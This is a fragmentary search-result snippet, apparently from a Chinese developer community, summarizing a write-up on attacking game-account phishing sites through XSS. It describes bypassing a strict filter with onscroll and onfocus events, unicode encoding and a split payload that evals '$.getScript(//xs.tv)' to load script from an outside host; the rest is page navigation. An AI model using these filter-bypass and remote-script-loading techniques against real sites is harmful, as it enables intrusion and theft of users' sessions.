首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

攻破黑市之拿下吃鸡DNF等游戏钓鱼站群

onload等常见事件全部被过滤,最长处最大长度为32个字符,+,&#等特殊字符被过滤,这就意味着,a标签,各种编码机制都不能用~~真是有够变态的,但是也通过测试得知能够执行的事件有onscroll,onfocus...,onfocus,并且unciode 编码没被过滤,没过滤的标签为 body,input,br,i 标签。...就是他后台调用的jquery框架, 由此自己研究出了一个新的拆分跨站 思路就是: 我们先构造一个函数,只要鼠标滚轮移动,就让所有的事件获取焦点,再用input标签启动onfocus函数 分别加载我的XSS...站点(如果你没听懂的话,看看下面的代码) 代码如下,首先我们来了解下 一些javascript的事件以及函数 onscroll 事件 在元素滚动条在滚动时触发 onfocus 事件在对象获得焦点时发生...,当input标签获取了焦点的时候,就会触发onfocus函数,我在onfocus函数里的代码意思是 获取i标签里的内容(也就是 $.getScript(//xs.tv) ),并且用eval执行它,所以这段代码整体的执行效果就是

1.5K40

扫码

添加站长 进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

    运营活动

    活动名称
    广告关闭
    领券